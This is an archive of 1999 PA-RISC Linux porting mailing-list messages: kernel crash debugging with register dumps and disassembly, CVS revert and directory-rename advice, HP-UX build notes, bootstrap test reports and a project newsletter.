> = Data at 0x000A0000, size=0x00081000
> = BSS  at 0x00121000.
> = 
> = Transferring control to kernel. (At entry point
> = 0x00010000)
> = kernel(0x146880, 0x504010, 0x146880, 0x12c30)
> = Boot loader: PA/Linux, maybe PALO
> = kernel free mem 0x00146880
> = realmode_setup exiting
> = Can't insert TLB miss handler pa 0x40000000 va
> = 0x00000000
> = r0-3    0x0004fb0b      0xc0112000      0xc004a170
>    
> =  0x00000000
> = r4-7    0xc0112000      0x00000000      0x00000400
>    
> =  0x00000000
> = r8-11   0xc01db000      0x00000000      0x00000400
>    
> =  0x00000100
> = r12-15  0xc01a4988      0x00000000      0x00000000
>    
> =  0x00000000
> = r16-19  0x00000000      0x00000400      0x00001000
>    
> =  0x0000001f
> = r20-23  0x00000020      0xc01a001c      0x00000001
>    
> =  0xc01268b0
> = r24-27  0x00000000      0x00000400      0x00000000
>    
> =  0xc009f000
> = r28-31  0xc01db000      0x0000000b      0xc01a4f40
>    
> =  0xc007a39c
> = sr0-3   0x00000000      0x00000000      0x00000000
>    
> =  0x00000000
> = sr4-7   0x00000000      0x00000000      0x00000000
>    
> =  0x00000000
> = iasq 0x00000020 0x00000003
> = iaoq 0xc004a078 0xc004a07c
> = cr30 0x00000000 ksp 0x00000001 kpc 0xc01a4f80 sar
> = 0x00000012
> = iir 0x48730038
> = 
> = The last successful booting kernel was from the
> CVS
> = version 19991123.
> = 
> = Any ideas ?
> = Ulrich
> = 
> = --- Paul Bame <bame@debian.fc.hp.com> wrote:
> = > 
> = > I just committed the changes to embed real-mode
> code
> = > in a separate
> = > executable inside vmlinux.  It should cause no
> = > functional changes
> = > in theory.  Read all about it in
> = > arch/parisc/real/README and
> = > ee.html.  If you have terrible new problems,
> = > I've attached a list of CVS commands to check
> out
> = > the files before I
> = > started hacking on them.  I haven't seen a shell
> = > prompt from this
> = > set of hacks so beware...
> = > 
> = > 	-Paul Bame
> = > 
> = > prumpf- I moved kernel_thread and friends from
> = > 	real/<something> to kernel/head.S  I also
> = > re-enabled BTLB in
> = > 	real/setup.c so I could get further in the
> boot. 
> = > Left some
> = > 	debugging printks in the handle_real_interrupt
> = > handler too.
> = > 
> = > cvs update -r1.25 arch/parisc/Makefile
> = > 	cvs update -A arch/parisc/Makefile
> = > cvs update -r1.28 arch/parisc/kernel/Makefile
> = > 	cvs update -A arch/parisc/kernel/Makefile
> = > cvs update -r1.35 arch/parisc/kernel/head.S
> = > 	cvs update -A arch/parisc/kernel/head.S
> = > cvs update -r1.39 arch/parisc/kernel/irq.c
> = > 	cvs update -A arch/parisc/kernel/irq.c
> = > cvs update -r1.14 arch/parisc/kernel/pdc.c
> = > 	cvs update -A arch/parisc/kernel/pdc.c
> = > cvs update -r1.25 arch/parisc/kernel/pdc_cons.c
> = > 	cvs update -A arch/parisc/kernel/pdc_cons.c
> = > cvs update -r1.73 arch/parisc/kernel/setup.c
> = > 	cvs update -A arch/parisc/kernel/setup.c
> = > cvs update -r1.11 arch/parisc/kernel/traps.c
> = > 	cvs update -A arch/parisc/kernel/traps.c
> = > cvs update -r1.2 arch/parisc/real/Makefile
> = > 	cvs update -A arch/parisc/real/Makefile
> = > cvs update -r1.2 arch/parisc/real/head.S
> = > 	cvs update -A arch/parisc/real/head.S
> = > cvs update -r1.2 arch/parisc/real/interruption.S
> = > 	cvs update -A arch/parisc/real/interruption.S
> = > cvs update -r1.2 arch/parisc/real/lib.c
> = > 	cvs update -A arch/parisc/real/lib.c
> = > cvs update -r1.2 arch/parisc/real/pdc.c
> = > 	cvs update -A arch/parisc/real/pdc.c
> = > cvs update -r1.2 arch/parisc/real/real.h
> = > 	cvs update -A arch/parisc/real/real.h
> = > cvs update -r1.2 arch/parisc/real/real_s.S
> = > 	cvs update -A arch/parisc/real/real_s.S
> = > cvs update -r1.2 arch/parisc/real/setup.c
> = > 	cvs update -A arch/parisc/real/setup.c
> = > cvs update -r1.1 arch/parisc/real/traps.c
> = > 	cvs update -A arch/parisc/real/traps.c
> = > cvs update -r1.1 include/asm-parisc/real.h
> = > 	cvs update -A include/asm-parisc/real.h
> = > 
> = >
> =
>
---------------------------------------------------------------------------
> = > To unsubscribe: send e-mail to
> = > parisc-linux-request@thepuffingroup.com with
> = > `unsubscribe' as the subject.
> = > 
> = > 
> = 
> = __________________________________________________
> = Do You Yahoo!?
> = Thousands of Stores.  Millions of Products.  All
> in one place.
> = Yahoo! Shopping: http://shopping.yahoo.com
> 

__________________________________________________
Do You Yahoo!?
Thousands of Stores.  Millions of Products.  All in one place.
Yahoo! Shopping: http://shopping.yahoo.com


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] drivers/gecko
Date: Thu, 9 Dec 1999 13:29:42 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <199912091229.NAA08471@pallas.spacetec.no>
References: <adevries@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618694 28930 80.91.229.3 (22 Nov 2014 01:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: tor@spacetec.no  Thu Dec  9 05:27:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA19106
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Dec 1999 05:27:36 -0700
Original-Received: (qmail 17205 invoked by uid 15267); 9 Dec 1999 12:29:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17187 invoked from network); 9 Dec 1999 12:29:46 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 12:29:46 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id NAA08471;
	Thu, 9 Dec 1999 13:29:42 +0100
In-Reply-To: Alex deVries <adevries@thepuffingroup.com>
       "Re: [parisc-linux] drivers/gecko" (Dec  9,  1:25)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:6590

(I also read the message from Grant about the renaming)

On Dec 9,  1:25, Alex deVries wrote:
>Tor Arntsen wrote:
>> 
>> Did somebody  rm -rf /home/cvs/parisc/linux/drivers/gecko  directly in the
>> CVS repository?
>> 
>> cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/drivers/gecko: No such file or directory
>
>
>If you do a 'cvs update -d', you'll get the new directory.

That is not the problem.  I always do update -P -d to get rid of emptied
directories and to get any new directories.  The problem is that if you
rename a directory *in* the repository you'll make cvs abort for 
*everybody* with a checked-out tree.  The only way to resolve it for
each of us is to first rm -rf the renamed directory in our checked-out
tree and then edit the CVS/Entries file by hand.  This is not at all 
obvious for people if they don't know CVS well.

The only way to rename a directory in CVS is to first copy it, then
'cvs add' it and all its files, then rm all the files in the old directory
and 'cvs remove' the old directory.  Then you finish with something like
'cvs commit -m"A renamed to B".
If you instead hack the repository itself you break things for the users..
in addition you are now unable to check out and build any older revisions
because the older Makefile will not know the new name of the directory.
So revision history is not conserved.

I guess you just renamed because you wanted to have the CVS logs etc.
associated with the files in the renamed directory.. if you want to do 
that you *can* do a copy in the repository itself, but you must always 
cvs remove the old one in your checked-out tree.  Anyway that will also 
slightly break an older checkout in the sense that an irrelevant directory 
will show up.  Indeed the only clean way in CVS is the copy/add/rm/remove/
commit route.

Best regards,
Tor


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More 9.05 notes and recipe.html
Date: Thu, 9 Dec 1999 12:55:32 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.20.9912091249560.274-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618694 28938 80.91.229.3 (22 Nov 2014 01:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Thu Dec  9 10:53:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA21326
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Dec 1999 10:53:33 -0700
Original-Received: (qmail 25511 invoked by uid 15267); 9 Dec 1999 17:55:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25498 invoked from network); 9 Dec 1999 17:55:44 -0000
Original-Received: from mojo.calyx.net (HELO mail.calyx.net) (apRLpfZkA8BqiEd1Dn.u@208.132.136.2)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 17:55:44 -0000
Original-Received: (qmail 11023 invoked from network); 9 Dec 1999 17:55:32 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (koth6vetRgWdXLhliOiB@208.132.136.2)
  by mojo.calyx.net with SMTP; 9 Dec 1999 17:55:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:6591



Had another go at compiling kernel under HPUX 9.05;
here are some more notes.

First off, recipe.html is outdated apparently as
it still tells you to build a hpux/linux cross compiler,
which I'm told is not the way things are now done.

Had to rm -rf ld from binutils or it wouldn't configure
the other directories.

Had to add struct timespec by hand.

Had to remove the +vnocompatwarnings ld flag from
parisc/real/Makefile.

recipe.html's sample bootpd line has semicolons in it which 
fail at least in my /etc/bootptab; should be colons.

Finally got the build working, but no luck booting
(this is a 715/64) with either that or the images
on the web site.  IPL encounters an error of some sort,
but provides no specifics.  I've only tried booting over 
LAN so far.

FWIW,

--
Brian S. Julin



From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More 9.05 notes and recipe.html
Date: Thu, 09 Dec 1999 10:58:34 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <199912091758.KAA29442@debian.fc.hp.com>
References: <Pine.BSO.4.20.9912091249560.274-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618694 28948 80.91.229.3 (22 Nov 2014 01:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: bame@fc.hp.com  Thu Dec  9 10:56:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA21453
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Dec 1999 10:56:28 -0700
Original-Received: (qmail 27134 invoked by uid 15267); 9 Dec 1999 17:58:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27113 invoked from network); 9 Dec 1999 17:58:39 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 17:58:39 -0000
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id KAA18410;
	Thu, 9 Dec 1999 10:58:36 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id KAA29442;
	Thu, 9 Dec 1999 10:58:35 -0700
In-reply-to: Your message of "Thu, 09 Dec 1999 12:55:32 EST."
             <Pine.BSO.4.20.9912091249560.274-100000@mojo.calyx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6592

= Finally got the build working, but no luck booting
= (this is a 715/64) with either that or the images
= on the web site.  IPL encounters an error of some sort,
= but provides no specifics.  I've only tried booting over 
= LAN so far.

If you're using the HPUX boot loader, be sure to run som_relocate
(which will need re-building to run on hpux 9.x) on vmlinux before
trying to boot it.

	-Paul Bame


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Thu, 9 Dec 1999 16:21:00 -0500 (EST)
Lines: 102
Approved: news@gmane.org
Message-ID: <199912092121.QAA03680@hiauly1.hia.nrc.ca>
References: <19991209122431.18795.qmail@web505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618695 28956 80.91.229.3 (22 Nov 2014 01:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:35 +0000 (UTC)
Cc: bame@fc.hp.com, parisc-linux@thepuffingroup.com
To: ulrich_strelow@yahoo.com (Ulrich Strelow)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Dec  9 14:19:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA23655
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Dec 1999 14:19:20 -0700
Original-Received: (qmail 5222 invoked by uid 15267); 9 Dec 1999 21:21:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5214 invoked from network); 9 Dec 1999 21:21:28 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 21:21:28 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA03680;
	Thu, 9 Dec 1999 16:21:01 -0500 (EST)
In-Reply-To: <19991209122431.18795.qmail@web505.mail.yahoo.com> from "Ulrich Strelow" at Dec 9, 99 04:24:31 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6593

> So I thought 0xc004a078 is in get_unused_buffer_head
> which is in fs/buffer.c.

I think the bug you are seeing is due to the inline definition for
xchg in asm/system.h.  The problem occurs in exchanges with 0 when
the address used in the ldcws instruction is not aligned on a 16 byte
boundary.  Change the define for xchg to just use the spinlock method
in all cases.

The other option is to align all the addresses that are used in xchg's
with 0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 15:51:05 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id PAA04801
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 15:51:05 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 15:51:05 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id QAA26647
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 16:43:02 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id QAA12929
	for <pcj@primenet.com>; Wed, 10 Mar 1999 16:44:08 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd012904; Wed Mar 10 16:44:02 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id SAA14999;
	Wed, 10 Mar 1999 18:43:36 -0500
Resent-Date: Wed, 10 Mar 1999 18:43:36 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
From: David Tymon <davidt@tusc.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <14055.738.470634.801206@davidt.tusc.com.au>
Date: Thu, 11 Mar 1999 10:40:18 +1100 (EDT)
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap #3 successful
Organization: TUSC Computer Systems, Doncaster, Australia
In-Reply-To: <199903101711.LAA30694@equator.com>
References: <199903101711.LAA30694@equator.com>
X-Mailer: VM 6.67 under 20.4 "Emerald" XEmacs  Lucid
Reply-To: davidt@tusc.com.au
Resent-Message-ID: <"v1Eta3.0.Gg3.dEmvs"@sod.res.cmu.edu>
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/167
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 19dead947aff946179050d12cc91d098
Lines: 39
Xref: merlin.pcj.primenet.com palinux:138


>>>>> Jason Eckhardt <jason@equator.com> alleges:

 JE> I'm happy to report that bootstrap #3 passed for everyone who reported
 JE> back thus far, thanks for taking the time to help out. Network, disk, and
 JE> even ZIP drive boots worked. I'd like to see a CD-ROM test if someone has
 JE> a CDR drive available.

  JE>  1) 780/C160       (disk)
  JE>  2) 715/64         (BOOTP)
  JE>  3) 816/E35        (disk)
  JE>  4) 712/100        (disk)
  JE>  5) 712/100        (SCSI ZIP drive!)
  JE>  6) 715/33         (RBOOTD) 
  JE>  7) 715/80         (?disk?)

Hi,

I have also just tested it on a 887/G50 and a 827S, both from scratch SCSI
disks. Everything went perfectly.

Well done
David
-- 
   ________________________________________________________
  /\ David Tymon                               _           \
 /  \ mailto:davidt@tusc.com.au              _ \X\0         \
/    \                                      (_)/ _\          \
\     \ TUSC Computer Systems              ~~^\ (_)           \
 \     \ 666 Doncaster Rd. Doncaster           \_v~~.~^o~~     \ 
  \     \_______________________________________________________\
   \    /                                                       /
    \  /      Tel: +61(3)9840-4443    Fax: +61(3)9840-2277     /
     \/_______________________________________________________/

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Fri, 10 Dec 1999 10:15:57 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <199912101715.KAA32234@debian.fc.hp.com>
References: <19991209122240.1018.qmail@web506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618695 28962 80.91.229.3 (22 Nov 2014 01:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: bame@fc.hp.com  Fri Dec 10 10:13:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA31297
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Dec 1999 10:13:50 -0700
Original-Received: (qmail 1584 invoked by uid 15267); 10 Dec 1999 17:16:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1567 invoked from network); 10 Dec 1999 17:16:01 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 10 Dec 1999 17:16:01 -0000
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id KAA27843;
	Fri, 10 Dec 1999 10:15:58 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id KAA32234;
	Fri, 10 Dec 1999 10:15:58 -0700
In-reply-to: Your message of "Thu, 09 Dec 1999 04:22:40 PST."
             <19991209122240.1018.qmail@web506.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6594


Ulrich,

I apologize for suggesting you consider the
r1 value 0xc0112000 by mistake, I meant the r2 value 0xc004a170.
>From the r2 and iaoq values, it looks like create_buffers():

create_buffers+4C:              STW             r0,-116(r30)
                LDI             4096,r4
                SUB             r4,r8,r4
                COMIB,>         0,r4,create_buffers+0x00a0
                LDI             0,r3
                ZDEPI           -1,31,16,r5
                BL              get_unused_buffer_head,r2
                OR              r9,r0,r26
                MOVB,=,N        r28,r26,create_buffers+0x00a8	***** %r2
                STW             r3,20(r26)

Just called get_unused_buffer_head, which died on the indicated line:

get_unused_buffer_head+4C:      ADDIL           L%0x73000,r27
                LDO             -1(r20),r20 	; nr_unused_buffer_heads--
                LDW             232(r1),r3	; r3 = bh
                STW             r20,264(r4)	; nr_unused_buffer_heads--
                OR              r3,r0,r28	; return value = r3
                LDW             28(r3),r19	*** died here
                B               get_unused_buffer_head+0x00e0
                STW             r19,232(r1)

Since %r3 is zero at this moment, we die.  I think we are dying trying
to execute 'unused_list = bh->b_next_free;' in get_unused_buffer_head()
with bh = 0.  No idea why.

	-P


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Fri, 10 Dec 1999 12:49:38 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <199912101749.MAA14555@hiauly1.hia.nrc.ca>
References: <199912101715.KAA32234@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618696 28965 80.91.229.3 (22 Nov 2014 01:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:36 +0000 (UTC)
Cc: ulrich_strelow@yahoo.com, parisc-linux@thepuffingroup.com
To: bame@fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec 10 10:47:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA31685
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Dec 1999 10:47:49 -0700
Original-Received: (qmail 18697 invoked by uid 15267); 10 Dec 1999 17:50:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18677 invoked from network); 10 Dec 1999 17:50:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 10 Dec 1999 17:50:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA14555;
	Fri, 10 Dec 1999 12:49:38 -0500 (EST)
In-Reply-To: <199912101715.KAA32234@debian.fc.hp.com> from "Paul Bame" at Dec 10, 99 10:15:57 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6595

> 
> 
> Ulrich,
> 
> I apologize for suggesting you consider the
> r1 value 0xc0112000 by mistake, I meant the r2 value 0xc004a170.
> >From the r2 and iaoq values, it looks like create_buffers():
> 
> create_buffers+4C:              STW             r0,-116(r30)
>                 LDI             4096,r4
>                 SUB             r4,r8,r4
>                 COMIB,>         0,r4,create_buffers+0x00a0
>                 LDI             0,r3
>                 ZDEPI           -1,31,16,r5
>                 BL              get_unused_buffer_head,r2
>                 OR              r9,r0,r26
>                 MOVB,=,N        r28,r26,create_buffers+0x00a8	***** %r2
>                 STW             r3,20(r26)
> 
> Just called get_unused_buffer_head, which died on the indicated line:
> 
> get_unused_buffer_head+4C:      ADDIL           L%0x73000,r27
>                 LDO             -1(r20),r20 	; nr_unused_buffer_heads--
>                 LDW             232(r1),r3	; r3 = bh
>                 STW             r20,264(r4)	; nr_unused_buffer_heads--
>                 OR              r3,r0,r28	; return value = r3
>                 LDW             28(r3),r19	*** died here
>                 B               get_unused_buffer_head+0x00e0
>                 STW             r19,232(r1)
> 
> Since %r3 is zero at this moment, we die.  I think we are dying trying
> to execute 'unused_list = bh->b_next_free;' in get_unused_buffer_head()
> with bh = 0.  No idea why.

See my mail to the list on Nov. 30, "Re: [parisc-linux] Progress - Update".  xchg has clobbered unused_list.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: deb <deb@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC/Linux Weekly News, vol 1, iss 4
Date: Fri, 10 Dec 1999 16:31:37 -0500 (EST)
Lines: 91
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912101629530.1617-100000@methos.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618696 28968 80.91.229.3 (22 Nov 2014 01:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: deb@thepuffingroup.com  Fri Dec 10 14:24:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA00600
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Dec 1999 14:24:59 -0700
Original-Received: (qmail 30427 invoked by uid 15267); 10 Dec 1999 21:27:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30417 invoked from network); 10 Dec 1999 21:27:11 -0000
Original-Received: from tomts3.bellnexxia.net (HELO tomts3-srv.bellnexxia.net) (209.226.175.141)
  by mailserv2.iuinc.com with SMTP; 10 Dec 1999 21:27:11 -0000
Original-Received: from methos ([216.208.98.2]) by tomts3-srv.bellnexxia.net
          (InterMail vM.4.01.02.07 201-229-116-107) with ESMTP
          id <19991210212711.YPKO15562.tomts3-srv.bellnexxia.net@methos>
          for <parisc-linux@thepuffingroup.com>;
          Fri, 10 Dec 1999 16:27:11 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6596

=============================================
PA-RISC/Linux Weekly News - December 10, 1999
=============================================
  http://www.thepuffingroup.com/parisc/
  vol 1, iss 4 

This Week:
   News & Announcements
   This Week's CVS Activity
   State of the Port Summary
 

====================
News & Announcements
====================
------------------------------------------------
Photos of the Birth of PA-RISC/Linux Discovered!
------------------------------------------------
Once thought lost in the mists of time, a photo revealing the origins of
PA-RISC/Linux have been uncovered by a crack team of
cyberarchaeologists!

This rare and exciting photograph (taken by the forward-thinking
historian, Zach Brown) is now on public display at:

http://www.zabbo.net/showcase98/mallfood.jpg

The photo reveals the attendees of the historic occassion: Jes
Sorensen, Phil Schwan, the back of Travis Melhiser, Chris Beard
(hiding), Alex deVries, and Martin Petersen.  The photo was taken mere
moments after the discussion in which this team of developers realized
that PA-RISC was pretty much the only architecture to which Linux hadn't
yet been ported.  Catering services were provided by a lacklustre
foodcourt in a to-remain-unnamed mall somewhere in Atlanta (during the
Atlanta Linux Showcase, 1998).

-----------
Move to 2.3 
-----------
In order to advance the PA-RISC/Linux port, the development team is
working to move to a more active development tree by merging the current
tree with Linus' 2.3 tree.  Philipp Rumpf and Matthew Wilcox are the
leads for this section of the project.


========================
This Week's CVS Activity
========================

John David Anglin and Paul Bame worked on the command linker, SOM, and
real-mode changes.

The bootable image creation has been modified.

Philip I. Schwan made fixes to the CVS tree so that the revision history
isn't lost during Alex deVries' gsc-to-gecko transition.

Grant Grundler further optimized the build process.

Paul Bame added debug messages to the TLB handler, as well as made
changes so that real mode code is seperately linked into the kernel.


=========================
State of the Port Summary
=========================

Kernel: 
     based on 2.2.13

Supported Machines: 
